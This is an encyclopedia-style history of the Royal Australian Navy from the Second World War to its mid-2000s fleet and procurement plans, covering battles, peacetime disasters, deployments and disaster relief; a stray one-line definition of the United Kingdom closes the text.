          The attack on Sydney and Newcastle marked the start of a sustained Japanese submarine campaign against Australia. During 1942 Japanese submarines sank 17 ships in Australian waters, though none of these ships were sailing as part of a convoy. 16 ships were sunk in Australian waters during 1943 before the Japanese broke the campaign off in July. Five of these ships were sunk while sailing in escorted convoys. The Australian Naval authorities gradually dismantled the coastal convoy system between December 1943 and March 1944. By the end of the war the RAAF and RAN had escorted over 1,100 convoys along the Australian coastline.


          While the scale of the Japanese naval offensive directed against Australia was small compared to other naval campaigns of the war such as the Second Battle of the Atlantic these attacks were "the most comprehensive and widespread series of offensive operations ever conducted by an enemy against Australia". Although the RAN only sank a single full-sized Japanese submarine in Australian waters ( I-124 in January 1942) convoy escorts may have successfully reduced the threat to shipping in Australian waters by making it harder for Japanese submarines to carry out attacks.


          


          Loss of HMAS Canberra
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          The RAN's biggest single ship loss of the war was that of the sister ship to Australia, HMAS Canberra at the Battle of Savo Island, in August 1942. In the early hours of the morning of 9 August 1942, Canberra was severely damaged off Guadalcanal in a surprise attack by a powerful Japanese naval force. Canberra was hit by 24 shells in less than two minutes and 84 of her crew were killed, including Captain Frank Getting. Following an order to abandon ship, Canberra was sunk the next day by a torpedo from a US destroyer, to prevent it being captured.


          The loss of Canberra, following losses such as Sydney and Perth, attracted unprecedented international attention and sympathy for the RAN. US President Franklin D. Roosevelt wished to commemorate the loss of Canberra and requested that a U.S. heavy cruiser under construction be named Canberra. USS Canberra was launched on 19 April 1943. The British Government approved the transfer of HMS Shropshire to the RAN as a replacement, and the ship was commissioned as HMAS Shropshire on 20 April 1943.
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          Leyte Gulf & Lingayen Gulf


          Four RAN warships, Australia, Shropshire, HMAS Arunta and HMAS Warramunga took part in the Battle of Leyte Gulf (October 23-25, 1944), arguably the largest naval battle in history. In the lead-up, on October 21, Australia became the first Allied ship to be hit by a kamikaze aircraft. near Leyte Island; gunners from HMAS Australia and HMAS Shropshire fired at, and reportedly hit, an unidentified Japanese aircraft. The plane then flew away from the ships, before turning and flying into Australia, striking the ship's superstructure above the bridge, and spewing burning fuel and debris over a large area, before falling into the sea. A 200 kg (440 pound) bomb carried by the plane failed to explode; if it had, the ship might have been effectively destroyed. At least 30 crew members died as a result of the attack, including the commanding officer, Captain Emile Dechaineux; among the wounded was Commodore John Collins, the Australian force commander. Australia remained on duty but on October 25, was hit again and was forced to retire to the New Hebrides for repairs.


          Shropshire and Arunta remained at Leyte and were part of the U.S. 7th Fleet Support Force in the action at Surigao Strait on October 25. Both ships contributed to the sinking of the battleship Yamashiro.


          HMAS Australia returned to combat at the Battle of Lingayen Gulf in January 1945. However, on January 5, 6, 8 and 9, the ship was again attacked by kamikazes and suffered damage which forced it to retire once more. Australia is believed not only to have experienced the first kamikaze attack but the greatest number.


          


          Ships with British fleets 1942-45


          In 1940-42, seven N- and Q-class destroyers were built in the UK and commissioned into the RAN for service with the British Eastern Fleet:


          
            	HMAS Napier


            	HMAS Nepal


            	HMAS Nestor


            	HMAS Nizam


            	HMAS Norman


            	HMAS Quiberon


            	HMAS Quickmatch

          


          These ships were predominantly crewed by RAN personnel, although they were often commanded by British officers.


          Following the Japanese raid on Ceylon of March-April 1942, the Eastern Fleet was transferred from its base at Trincomalee, to the other side of the Indian Ocean: Kilindi in Kenya. From there the fleet undertook local patrols, escorted convoys and occasionally despatched ships to operations in the Mediterranean. During Operation Vigorous, a convoy to Malta in June 1942, Nestor was serious damaged in an air raid and slowly sank.


          From late 1944, Nepal, Norman and Quiberon were transferred, along with many other Eastern Fleet ships, to the new British Pacific Fleet (BPF). Among other operations with the BPF, they took part in the Battle of Okinawa.


          In late 1945, following the end of hostilities, the RAN acquired three more Q-class destroyers:


          
            	HMAS Queenborough


            	HMAS Quality


            	HMAS Quadrant

          


          


          Surrender and occupation of Japan
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          Ten RAN vessels were present at the signing of the Japanese surrender in Tokyo Bay on 2 September 1945; Ballarat, Cessnock, Gascoyne, Hobart, Ipswich, Napier, Nizam, Pirie, Shropshire and Warramunga. Following the surrender ceremony the majority of the RAN vessels left Japanese waters for other duties. As part of the surrender agreement the Japan agreed to an Allied occupation and disarmament.


          On 17 August 1945 the Australian Government agreed to provide two cruisers and two destroyers for service with the British Commonwealth Occupation Force (BCOF). A total of 15 RAN ships served with the BCOF, the ships performed a variety of tasks but were mainly employed on the Kyushu Patrol, the aim of the patrol was to prevent Korean nationals illegally entering Japan.
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          The RAN also played a role in the disarmament of Japan, assisting in the scuttling of former Imperial Japanese Navy ships, in one instance HMAS Quiberon took part in the sinking of seven submarines of Kyushu as part of Operation Bottom. When Indian and New Zealand contingents began to withdraw from the BCOF the operation became a predominantly Australian operation. In 1948, Kure naval base was turned over to Australia, and became known as HMAS Commonwealth.


          When North Korea invaded South Korea on 25 June 1950 one RAN ship was on station as part of BCOF, the Australian Government immediately offered HMAS Shoalhaven for UN service, eventually all RAN ships in the area were transferred to the command of British Commonwealth Forces Korea (BCFK).


          


          Cold War
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          Following World War II, the RAN reduced its surface fleet but continued to expand in other ways, acquiring two Royal Navy Majestic class aircraft carriers then under construction ( HMS Majestic and HMS Terrible) to build up a Fleet Air Arm. In the 1960s the RAN began to move away from commissioning British designs; the last major British design used was the Type 12 frigate, which formed the basis of the River class frigates. When it was decided that the RAN should commission a destroyer armed with guided missiles, the obvious British design was the County class; however, the RAN had reservations regarding the gas turbine propulsion, the Seaslug missile system, and being able to adapt the design to Australian needs. Instead, the Australian government chose the steam turbine powered Charles F. Adams class destroyer, armed with the Tartar missile as the basis for its Perth class, the first major U.S. warship design chosen for the RAN.
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          By the mid-late 1960s, the RAN was at the zenith of its operational capabilities; it was capable of dispatching a full carrier battle group in support of major operations by having in service an aircraft carrier (HMAS Melbourne), three large area defence destroyers of the Perth class, six modern River class frigates and four Oberon class submarines.


          With the retreat of British forces west of the Suez Canal in the 1960s, the RAN began to take a more defensive role, and in co-operation with the United States, allied though the ANZUS treaty. The RAN saw service in many of the world's post war conflicts including Korea, Vietnam, and the Indonesian Confrontation.


          


          Korea


          On 27 June 1950 the United Nations Security Council called on member nations to aid South Korea. On 29 June Prime Minister Robert Menzies announced that the frigate HMAS Shoalhaven, stationed in Japan, and the destroyer HMAS Bataan, in Hong Kong would be placed under UN command in Korea. On 1 July, one day after President Truman committed American ground forces to Korea, the first Australian operation in Korea took place; HMAS Shoalhaven moved from Japan to Pusan escorting an American ammunition ship. On 27 July 1950, the destroyer HMAS Warramunga was also deployed.


          During the Landing at Wonsan in October 1950, HMAS Warramunga provided gunfire support during the landing of U.S. X Corps. During the mass evacuation of troops and refugees in the city of Hungnam in December 1950, HMA Ships Bataan and Warramunga assisted in the evacuation. In October 1951, Sydney arrived in Korean waters to replace HMS Glory for a three month tour. Sydney carried two squadron of Sea Furies - 805 Squadron RAN and 808 Squadron RAN, and 817 Squadron RAN equipped with Fireflies. Sydney returned to Japan having lost only 9 aircraft, with 3 pilots killed, and having launched over 2,700 missions from her flight deck. Later in the war, 9 ships of the RAN participated in the naval blockade of North Korea.


          


          Malaya


          The Malayan Emergency was declared on 18 June 1948 brought about by a rise in Communist guerrillas in Malaysia. Australia, as a member of the Southeast Asia Treaty Organization, first deployed troops in 1950. The first ships of the RAN to arrive in the area were the Tribal class destroyers HMAS Warramunga and Arunta in June 1955. Other ships that served in Malayan waters during the Emergency included the ships Anzac, Melbourne, Quadrant, Queenborough, Quiberon, Quickmatch, Sydney, Tobruk, Vampire, Vendetta and Voyager. During the period, ships of the RAN also served with the Far East Strategic Reserve; between 1955 and 1960 a total of 13 RAN ships served with the Strategic Reserve. Serving as part of a larger naval organisation provided valuable experience for the ships of the RAN. Seven members of the RAN died while serving during the Emergency and with the Strategic Reserve.


          The decision to deploy the RAN to the area was due to the strong anti-communist feeling in Australia and the western world in the 1950s and 60s. The primary role of the RAN was to provide a deterrent to further Communist aggression in South East Asia. The secondary role was to assist in the maintenance of the security of the Federation of Malaya by participating in operations against the Communist Terrorists.


          


          Indonesia


          In response to the Indonesian invasion of Borneo and Malaya in 1963 Australia increased its presence in the region. At the outbreak of hostilities the RAN had two frigates, HMAS Yarra and HMAS Parramatta on duty in the area. As tension mounted, Australia increased its presence by sending Sydney, Vampire, Vendetta, Duchess and Derwent to the area. On May 19, 1964 the 16th Minesweeping Squadron, comprising six Ton class minesweepers, was also deployed.


          On 13 December 1964, HMAS Teal was fired upon with automatic weapons by an unlit vessel whilst operating as part of the Singapore Strait patrol. The vessel was overpowered and arrested by Teal following a further small arms engagement that resulted in the deaths of three Indonesian crew members. On 23 February 1965, Teal was again involved in another engagement, she detected an unlit vessel off Cape Rachado. The suspicious vessel was closed on and illuminated, and revealed nine armed men in uniform who surrendered immediately upon challenge. HMAS Hawk became the second vessel of the 16th Minesweeping Squadron to see action when on 13 March 1966, while patrolling off Raffles Light, came under fire from an Indonesian shore battery. Eleven high explosive rounds were fired at the ship, some landing within 200yards (200m) of the vessel, Hawk withdrew from the area at speed. The following morning, Hawk intercepted a sampan with five Indonesians on board who were promptly arrested.


          When Indonesian forces crossed the border into Sebatik Island, Sabah on 28 June 1965, HMAS Yarra was called on to carry out bombardments disrupting the withdrawal of the Indonesians. Yarra carried out two more bombardments of the border area on 5 and 10 July. During three runs, Yarra fired a total of 70 rounds on the enemy. On 13 August 1966 an agreement concluded between Indonesia and Malaysia brought an end to the conflict.


          


          HMAS Voyager
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          During the night of 10 February 1964 the worst peacetime disaster in the RAN's history occurred when the destroyer HMAS Voyager was cut in two by the bow of the aircraft carrier HMAS Melbourne, killing 82 of the 293 men on board Voyager.Melbourne was conducting air group exercises off Jervis Bay with Voyager acting as the rescue destroyer. Voyager's duty was to remain 1,000yards (1,000m) astern of Melbourne. At 9:00pm, Melbourne's commanding officer Captain John Robertson ordered a flying course and then observed Voyager move from a position fine on the starboard bow to take up her station. Unexpectedly Voyager turned into the carrier and continued on this course until a collision was unavoidable. The collision killed 81 members of Voyager's crew, including Captain D.S Stevens and one dockworker. The search for survivors went on through the night.


          Following the collision Prime Minister Menzies ordered a Royal Commission under Sir John Spicer to investigate the event. Following 50 days of hearings it was found that Voyager's inability to mount a proper lookout as the primary cause for the collision, but also placed some blame on the actions of Robertson and several other bridge officers. Robertson was cleared during his court martial but left the service after being transferred to a shore posting. The decision to award some of the blame on the bridge crew of Melbourne was seen as unfair by many and public pressure began to mount on the Naval Board. The increase in public pressure and allegations that Voyager's captain had a severe drinking problem led to a second Royal Commission in 1967. The second Royal Commission sat for 85 days and completely cleared Robertson of any fault. The two commissions caused great anguish in the hierarchy of the RAN, which was not accustomed to such tight scrutiny. The Commission led to the eventual dismantling of the Naval Board's isolation from the civilian world.


          After the loss of Voyager the RAN, which was becoming increasingly busy in the South East Asia region, identified the need for a speedy replacement. HMAS Duchess was loaned to the RAN from the Royal Navy on 8 May 1964.


          


          Vietnam War


          Ships of the Royal Australian Navy were stationed on continuous operational service in Vietnam between 1965 and 1972, in total 18 ships served in Vietnam waters during the war. During this period the Navy performed a wide variety of operational tasks at sea, ashore and in the air. The RAN's primary contribution consisted of destroyers, Fleet Air Arm personnel attached to a United States Army helicopter company and No. 9 Squadron RAAF, a Clearance Diving Team, and a logistic support force consisting of transport and escort ships. Other RAN personnel served ashore in medical teams or performed staff duties at the Australian Embassy in Saigon or the 1st Australian Task Force Headquarters in Nui Dat.


          


          The RAN did not deploy operationally until 1965, but in 1962 HMAS Vampire and HMAS Quickmatch made goodwill visits to Saigon. They were followed a year later by similar visits by HMAS Quiberon and HMAS Queensborough. In 1967 HMAS Hobart became the first RAN destroyer to be operationally deployed to Vietnam. Hobart served three tours in Vietnam from March to September in 1967, 1968 and 1970. During her operation she fired 10,000 rounds at 1000 shore targets and came under fire around 10 times. Hobart was awarded a US Navy Unit Commendation in recognition of her service in Vietnam while her sister ship, Perth received both the US Navy Unit Commendation and the US Meritorious Unit Commendation. In their five years service in Vietnam, the four gunline destroyers; Perth, Brisbane, Hobart and Vendetta steamed over 397,000 miles and fired 102,546 rounds.


          The aircraft carrier HMAS Sydney was converted for troopship duties in the early 1960s and began her first voyage to Vietnam in May 1965, transporting the 1st Battalion, Royal Australian Regiment, from Sydney to Vung Tau in southern Vietnam. Sydney became known as the Vung Tau Ferry and made 25 voyages to Vietnam carrying 16,094 troops, 5,753 deadweight tons (5,845 t) of cargo and 2,375 vehicles.


          In 1969 HMAS Melbourne, while performing exercises with the United States Navy in the South China Sea, rammed and sunk another destroyer. The USS Frank E. Evans was cut in half by Melbourne. Her bow sank instantly, taking 74 of her crew down with it. Evans was stricken from the Naval Vessel Register on 1 July 1969. Again, the Melbourne's captain was cleared of any responsibility for the disaster, but he met the same fate as Melbourne's previous captain and was transferred to a shore posting. HMAS Melbourne is credited as being the only warship to ram and sink two friendly destroyers in peace time.


          In April 1971 Prime Minister John Gorton announced that Australian forces in Vietnam would be reduced. This led to the withdrawal of the clearance divers in May and the Fleet Air Arm in June. The final RAN destroyer on the gunline, Brisbane, returned to Sydney on 15 October 1971. The Whitlam government withdrew all Australian forces from and stopped military aid to South Vietnam. HMAS Jeparit returned to Sydney on 11 March 1972 and was followed the next day by HMAS Sydney. During the 10 years that the RAN was involved in the war, eight officers and sailors were killed and another 46 were either wounded or suffered other injuries.


          


          Cyclone Tracy


          During the morning of 25 December 1974 Tropical Cyclone Tracy struck the city of Darwin killing 71 people and causing $4 billion of damage (1998 AUD). In response to the cyclone the RAN embarked upon the largest peacetime disaster relief operation in its history, involving 13 ships, 11 aircraft and some 3000 personnel.


          When Tracy struck Darwin the RAN had a total of 351 personnel based in the city, along with four Attack class patrol boats; the small number of men limited the capability of the RAN to render immediate assistance to the citizens of Darwin. Of the four Attack class patrol boats based in Darwin, all four were damaged in some way by the storm. HMAS Arrow sunk under Stokes Hill Wharf with the loss of two sailors, HMAS Attack was beached by the force of the winds at Doctor's Gully and HMAS Advance and HMAS Assail were slightly damaged. Land based naval installations were also heavily damaged by the cyclone, Darwin Naval Headquarters was destroyed, as was large sections of the patrol boat base and the married quarters. The oil fuel supply installation and naval communications station at HMAS Coonawarra were also damaged. The initial RAN relief which was limited to search and rescue in the area of Darwin Harbour and Melville Island was hindered by the lack of reliable communications.


          As the severity of the disaster was realised, a naval task force under Rear Admiral R.E. Wells was established to render aid to the people of Darwin, the operation became known as Operation Help Darwin. A general recall was issued to all personnel; of the 2,700 Sydney based sailors on leave at the time, approximately 2,200 were able to return to their ships, with other volunteers filling any vacant positions onboard. The first RAN assets began to arrived in Darwin on 26 December, a Hawker-Siddeley 748 from 851 Squadron landed at Darwin Airport carrying blood transfusion equipment and Red Cross workers, followed shortly by another HS748 carrying Clearance Diving Team One (CDT 1). Ships also began departing for Darwin on 26 December. HMAS Balikpapan and HMAS Betano sailed from Brisbane, HMAS Flinders sailed from Cairns and HMAS Melbourne, Brisbane and Stuart sailed from Sydney. The following day HMA Ships Hobart, Stalwart, Supply and Vendetta sailed from Sydney and HMAS Brunei and Tarakan departed Brisbane. Nine Wessex helicopters from 725 and 817 Squadron were embarked on Melbourne and Stalwart.
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          The RAN taskforce was tasked with the responsibility of clearing and restoring 4740 houses in the northern suburbs of Nightcliff, Rapid Creek and Casuarina. RAN aircraft continued to ferry supplies and personnel into Darwin and evacuate displaced Darwin citizens. Some displaced residents were housed in the many naval bases located on Sydney Harbour and HMAS Moreton in Brisbane.


          The first vessels, HMA Ships Brisbane and Flinders, arrived in Darwin on 31 December. Flinders surveyed the approaches to Darwin, ensuring the safety of the taskforce, while Brisbane landed working parties and established communications. The entire task force had arrived in Darwin by 13 January 1975, the force brought more than 3,000 personnel to the city. Men of the task force usually worked in small working parties of 10 to 15 men.


          The men and women of the RAN made a significant contribution to the relief effort; from January 1 to January 30 naval personnel spent 17,979 man days ashore, with up to 1,200 personnel ashore at one time. Some 1,593 housing blocks were cleared and government and private facilities cleaned up. Westland Wessex helicopters transported 7,832 passengers, 110,912 kg of supplies and freight and made 2,505 landings. The Hawker-Siddeley 748 aircraft made a total of 14 return flights to Darwin and carried out 485 passengers and brought in 22,680 kg of freight. Vessels of the task force began to depart Darwin as early as 7 January, with HMA Ships Brisbane and Stalwart the last to depart on 31 January. With the departure of the majority of the RAN personnel, the command of the relief operation was turned over to the Commandant of the Army's 7th Military District.


          


          Pacific patrol boat program


          Following the introduction of the 1982 United Nations Convention on the Law of the Sea (UNCLOS) the exclusive economic zone (EEZ) of many coastal nations was increased from 12 nautical miles (NM) to 200 NM. The sudden expansion of responsibility dramatically increased the area of ocean requiring surveillance, monitoring and policing by these nations, increasing the strain on existing maritime patrol resources, and highlighting the need for countries without a maritime patrol force to obtain one, especially in the South West Pacific area.


          In 1979 the Australian and New Zealand governments, at the request of Pacific Island nations, sent defence representatives into the South-West Pacific region to assess surveillance and maritime patrol requirements. The governments of a number of the Pacific nations expressed their concern about the need for a suitable naval patrol force to meet their new surveillance requirements. The Australian government responded by creating the Defence Cooperation Project (DCP), to provide suitable patrol vessels, training and infrastructure to island nations in the region. The Pacific Patrol Boat Systems Program Office was created within the Minor War Vessels Branch of the RAN procurement organisation.


          The tender for the vessels was released in August 1984, and was awarded to Australian Shipbuilding Industries Pty Ltd (now Tenix Western Australia) in September 1985. The first of ten vessels was to be delivered in early 1987. The first vessel, HMPNGS Tarangau, was officially handed over to the Papua New Guinea Defence Force on 16 May 1987. Over the course of the project the number of participating countries increased. By the end of the construction phase of the project, a total of 22 boats had been delivered to 12 countries, compared to the original order of 10 boats for 8 countries. In total, the project cost for 22 vessels and associated support was $A155.25 million.


          The RAN never operated the Pacific class patrol boat (PPB), although the project has given the RAN a number of advantages in the Pacific region. The introduction of self-reliant patrol forces throughout the region has eased the strain on Australias own maritime patrol force. Cooperation between Australia and its Pacific neighbours has allowed for a greater allocation of RAN patrol boats to protecting Australias maritime resources, patrolling the Sea Lines of Communication (SLOC), and conducting border protection operations. The PPB's have recently undergone a mid life refit which could potentially see them operating in the region until at least 2027.


          


          Two ocean navy policy


          The main role of the Royal Australian Navy in the two decades following the end of Australia's involvement in the Vietnam War was supporting Australian diplomatic initiatives. In line with this goal the RAN exercised with the navies of Australia's allies and provided support to civil authorities in Australia and the South Pacific. The RAN's main military concern from the 1970s was the activities of the Soviet Navy in the Indian Ocean. These concerns lead to increased cooperation with the United States Navy and the development of the RAN's main base in Western Australia, HMAS Stirling.
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          During the late 1970s, the RAN replaced many of its aging ships with modern equivalents. While it was planned to purchase the British aircraft carrier HMS Invincible to replace Melbourne, Britain's offer of the carrier was withdrawn after the Falklands War. As a result, Melbourne was decommissioned without replacement in 1982 and the Fleet Air Arm retired almost all of its fixed wing aircraft on 30 June 1983.


          In 1987, the Hawke Government's Defence White Paper called for the RAN to become a more self reliant two-ocean navy with major fleet bases in New South Wales and Western Australia. The plan called for the expansion of Stirling on Garden Island and Jervis Bay to accommodate an expanded RAN combat surface and submarine fleets. The plan originally called for the major combat units and submarines to be split between the two fleet bases, providing similar capabilities on both sided of the continent. The proposed Jervis Bay naval base never became a reality; Fleet Base East was built up around HMAS Kuttabul in Sydney while HMAS Stirling is home to half the surface fleet and the entire submarine fleet. The rationale behind the policy included the possibility of savings in fuel and maintenance that would result from Indian Ocean deployments beginning their journey from Western Australia rather than New South Wales. The report also classed the Indian Ocean as an area where contingencies might arise. The new facilities would increase Australia's worth to the United States, particularly to do with maintenance of submarines. Expansion at Jervis Bay would allow intensified east coast visits by the US Pacific Fleet, and its nuclear warship visits would not run into as much opposition as they do in Sydney and Melbourne.


          The 1987 White Paper was seen by many as an attempt to strengthen Australia's relationship with the United States, which had been damaged by New Zealands stance against nuclear weapons in its ports. In line with this policy the RAN was structured to become more self-reliant and its activities during the late 1980s were focused on operating within Australia's local region.


          The Two Ocean Policy remains in place today and is supported by the current government and the opposition. The success of the policy is especially evident at HMAS Stirling. The base is thriving and its location both in a global and local context gives it an advantage over Fleet Base East. It has been suggested that all 8 units of the Anzac class be relocated to Stirling, this would create an easier training environment for sailors and would lead to significant cost savings.


          


          Post Cold War


          


          The Gulf Wars
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          Australia's contribution to the 1991 Gulf War centered around a Naval Task Group which formed part of the multi-national fleet in the Persian Gulf and Gulf of Oman. In addition, medical teams were deployed aboard a U.S. hospital ship and a naval clearance diving team took part in de-mining Kuwait's port facilities at the end of the war. Over the period from 6 September 1990 to 4 September 1991 the RAN deployed a total of 6 ships to the area; Adelaide, Brisbane, Darwin, Success, Sydney and Westralia. Clearance Diving Team 3 operated in the theatre from 27 January 1991 to 10 May 1991. It was involved in mine clearing operations in Kuwait from 5 March to 19 April 1991.


          After the end of the first Gulf War the Royal Australian Navy periodically deployed a ship to the Gulf or Red Sea to assist in maintaining sanctions against Iraq. Until the outbreak of the Second Gulf War the Australian naval force in the Persian Gulf continued to enforce the sanctions against Iraq. These operations were conducted by boarding parties from the RAN warships.
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          Upon the outbreak of war the RAN's focus shifted to supporting the coalition land forces and clearing the approaches to Iraqi ports. HMAS Anzac provided gunfire support to Royal Marines during fighting on the Al-Faw Peninsula and the Clearance Diving Team took part in clearing the approaches to Umm Qasr. Boarding operations continued during the war, and on 20 March boarding parties from the HMAS Kanimbla seized an Iraqi ship carrying 86 naval mines.


          Since the end of the war the RAN has continuously maintained a frigate in the Persian Gulf to protect Iraq's oil infrastructure and participate in counter-smuggling operations. Twelve Australian sailors were deployed to Umm Qasr, Iraq between January and October 2004 to join the multi-national training team working with the Iraqi Coastal Defense Force. The RAN has also assumed command of coalition forces in the Persian Gulf on two occasions; Combined Task Force 58 in 2005 and Combined Task Force 158 in 2006.


          


          HMAS Westralia


          On 5 May 1998 a fire broke out onboard HMAS Westralia while off the Western Australia coast. The fire was caused by the rupture of a flexible fuel line (one of a number used to replace rigid hoses) on cylinder number nine starboard engine. This sprayed diesel fuel onto a hot indicator cock, which ignited a spray fire. The resulting fire caused the deaths of four people onboard. Following the fire the Australian Government and the RAN began a major investigation known as the Westralia Board of Inquiry. The enquiry found that the RAN and the contractor Australian Defence Industries (ADI) did not critically examine their course of action and that key personnel in the RAN and the contractor were insufficiently trained and qualified. The inquiry also found that the hoses were not properly designed and were unfit for the intended purpose. In 2005 ADI was fined $75,000 for failing to provide a safe workplace. Seven sailors who were apparently severely traumatised by the fire have also sued ADI and sub contractor Jetrock. In August 2006, the Australian Government decided to accept liability after it reached settlement with the ADI and Jetrock. The seven sailors stand to receive compensation totalling up to $10 million.


          


          East Timor


          


          During the Australian lead United Nations peacekeeping mission to East Timor in 1999 known as INTERFET, the RAN deployed a total of 16 ships to the mission: Adelaide, Anzac, Balikpapan, Brunei, Darwin, Farncomb, Jervis Bay, Labuan, Success, Sydney, Tarakan, Tobruk, Waller, Westralia, HMAS Newcastle (F 06) and HMAS Melbourne (F0 05). The RAN played a vital role in transporting troops and providing protection to transports and were vital to the success of INTERFET.


          The RAN returned to East Timor in 2006 under Operation Astute the United Nations-authorised, Australian-led military deployment to East Timor to quell unrest and return stability during the 2006 East Timor crisis. The Royal Australian Navy deployed the Amphibious Ready Group including the ships; Kanimbla, Manoora, Tobruk (until approximately 8 June), Balikpapan, Tarakan, Success (until 28 May). The navy also deployed the Adelaide class frigate HMAS Adelaide (until 28 May). The Fleet Air Arm contributed one S-70B-2 Seahawk helicopter from 816 Squadron RAN (until 28 May) and two Sea King helicopters from 817 Squadron RAN. The Royal Australian Navy force committed to Operation Astute is apparently the largest amphibious task force in the Navy's history.


          


          Solomon Islands


          On 24 July 2003, HMAS Manoora arrived off Honiara marking the beginning of Operation Anode, Australia's contribution to the Regional Assistance Mission to the Solomon Islands (RAMSI). The deployment of a 2,200 strong multinational force followed several years of unrest in the Solomon Islands. Manoora was soon joined by HMA Ships Hawkesbury, Labuan, Wewak and Whyalla. Following the initial deployment two vessels were generally kept on station in the area. By the time the RAN deployment ended, some 19 Australian warships had taken part. The last ship to leave was HMAS Fremantle which sailed home in October 2004.


          Operation Anode was not the first time units of the RAN had been deployed to the Solomon Islands; Anode was unique in that the navy's primary role was to support and facilitate the work of the Participating Police Force (PPF). Moreover, in addition to being the first time the RAN had supported a police-led mission. Operation Anode and RAMSI is one of the latest examples of the role Australia and specifically the RAN is playing in stabilising the Pacific region.


          


          Fiji


          On 2 November 2006, in response to the Fijian Military threats to overthrow the Fijian Government, the Australian government deployed military resources in support of Australian citizens in Fiji. The contribution from the RAN was the deployment of three vessels; HMA Ships Kanimbla, Newcastle and Success to international waters south of Fiji. The three vessels were deployed to Fiji to evacuate the estimated 7,000 Australian citizens present in Fiji if the need arose. Along with the three vessels a detachment of the Special Air Service Regiment, helicopters from the 171st Aviation Squadron and an evacuation team were also deployed.


          On 29 November 2006, an Australian Army S-70A Black Hawk helicopter operating from Kanimbla, and carrying ten Army personnel on board, crashed whilst attempting to land on the ship's deck, killing 1 person, injuring 7 more and leaving one missing (later confirmed dead).. HMAS Melville arrived on task the morning of 15 December 2006, equipped with a Towed Pinger Locating Drone supplied from the United States Navy set about locating the downed Black Hawk. Melville detected the locator beacon during its first pass over the crash site and pinpointed its exact location in subsequent passes. The helicopter is sitting in around 2900 metres of water.


          The coup took place on 5 December, but was bloodless and almost completely without violence. The evacuation of Australians was deemed unnecessary, and vessels of the task force began arriving back in Australian on December 17, with Kanimbla docking in Townsville, and both Newcastle and Success are returning to Sydney. Melville returned to Australia in late December. The RAN has decided to attempt to recover the downed Black Hawk and has identified the United States Navy Supervisor of Salvage (SUPSALV) as the preferred organisation. The MV Seahorse Standard recovered the remains of Trooper Porter on 5 March and the Blackhawk helicopter on 9 March with the assistance of specialist equipment provided by the SUPSALV team. Trooper Porters body was repatriated on 13 March escorted by members of the Special Air Service Regiment. Seahorse Standard will arrive in Australia with the aircraft wreckage by the end of march. The wreckage will become evidence in the Board of Inquiry into the crash.


          


          Women in the RAN


          From 1911 to 1941 women were forbidden from serving in the RAN; the demands World War II placed on personnel and resources led to a change of policy. On 21 April 1941 the Australian Naval Board sent a letter authorising the entry of women into the RAN to the Commodore-in-Charge, Sydney. The letter led to the formation of the Women's Royal Australian Naval Service (WRANS) and the Royal Australian Naval Nursing Service (RANNS). The two separate women's services existed until 1984 when they were incorporated into the permanent force. Today female members of the RAN have a wide variety of roles open to them; women serve on submarines, command ships and shore postings and are expected to play an increasingly important role in the future of the RAN.


          


          The current navy
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          The Royal Australian Navy today is a medium sized modern navy in world terms but is one of the strongest navies in the Asia Pacific Region. Today the combat fleet of the RAN is made up of 8 Anzac class frigates, 5 Adelaide class frigates, 9 patrol boats of the Armidale classand 6 Collins class submarines. The RAN also comprises a large amphibious and supply force in order to transport the Australian Army and to resupply the combat arm of the navy. The RAN is divided into 7 Force Element Groups (FEG); Surface Combatants, Amphibious Warfare Forces and Afloat Support Force, Naval Aviation, Submarine Force, Mine Warfare and Clearance Diving, Patrol Boat Force and the Hydrographic Force. The FEG's were formed to manage the operations of the separate sections of the RAN in a more efficient way.
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          The modern RAN began to form during the late 1970s when the Fraser Government announced the purchase of 4 Oliver Hazard Perry class frigates, all to be built in America; in 1980 they announced an additional 2 vessels both to be built in Australia. The 15 vessels of the Fremantle class have been Australia's lead patrol boat since 1979, replacing the Attack Class, all Attack class vessels were decommissioned by 1985. The Fremantle class is itself being replaced with the Armidale class; today only 5 of the 15 Fremantle class ships remain in service.


          The Collins class is the newest class of Australian submarines, built in Australia for the Royal Australian Navy. They were built by the Australian Submarine Corporation in Adelaide, South Australia and replace much older Oberon class submarines in the Australian fleet. The first vessel HMAS Collins was laid down in 1990 and commissioned in 1996, as of 2002 all six vessels of the class are operational and based HMAS Stirling in Western Australia.


          The Anzac class is the current main fleet unit of the Royal Australian Navy; the class comprises 8 vessels. The lead vessel of the class. HMAS Anzac, was commissioned in 1996 and the final vessel, HMAS Perth, was commissioned on the 26 August 2006. In addition to the 8 Australian vessels, two Anzacs were also constructed for the Royal New Zealand Navy. The Anzac class were jointly constructed in New Zealand and Australia with the final fitout in Williamstown, Victoria.


          The amphibious and supply arm of the RAN is made up of; 2 Kanimbla class landing platform, one heavy landing ship HMAS Tobruk, 6 Balikpapan class landing craft, 2 Leeuwin class survey ships, 4 Paluma class motor launches, one fleet oiler, HMAS Sirius and the Dual Stores Replenishment Vessel HMAS Success. The RAN also has 6 Huon class minehunters, five in service and one in active storage as of 2006.


          The Royal Australian Navy maintains several bases around Australia. Under the RAN's Two Ocean Policy two of these HMAS Stirling (Fleet Base West) and HMAS Kuttabul (Fleet Base East) are the base for all major fleet unit of the RAN. The majority of the patrol boat and amphibious fleets are located at HMAS Cairns and HMAS Coonawarra while all Fleet Air Arm squadrons are located at HMAS Albatross in New South Wales.


          


          The future of the RAN


          


          In 2000 a major white paper was produced by the Australian government which set out a program of defence spending that will see significant improvements to the RAN's fleet and capabilities.


          The most significant current project is Sea4000 the procurement of three Hobart class destroyers, which will replace the Adelaide class.. These ships will be fitted with the AEGIS combat system, and will be based on the Spanish F100 design. The class has a planned in service date of 2013, with the three units to be named Hobart, Brisbane and Sydney.
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          The RAN is currently in the process of replacing its patrol boat fleet. The 15 Fremantle class patrol boats which entered service in 1979 are currently being replaced with 14 Armidale class vessels. Designed and built by Austal Ships, the lead ship of the Armidale class, HMAS Armidale was commissioned into the RAN in June 2005. The entire Armidale class fleet is expected to be in service by late 2007 and will provide greater flexibility and capabilities to the RAN.


          In August 2005 the Australian Government passed approval for the acquisition of two Canberra class large amphibious ships; these will displace over 20,000 tonnes and have the capability to carry over 1,000 troops and will potentially be able to operate fixed wing aircraft. The project is expected to cost between $1.5 and $2 billion Australian dollars and be completed by around 2014. The new ships will be named Canberra and Adelaide.
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          The United Kingdom of Great Britain and Northern Ireland is the sovereign state comprising England, Scotland, Wales and Northern Ireland.


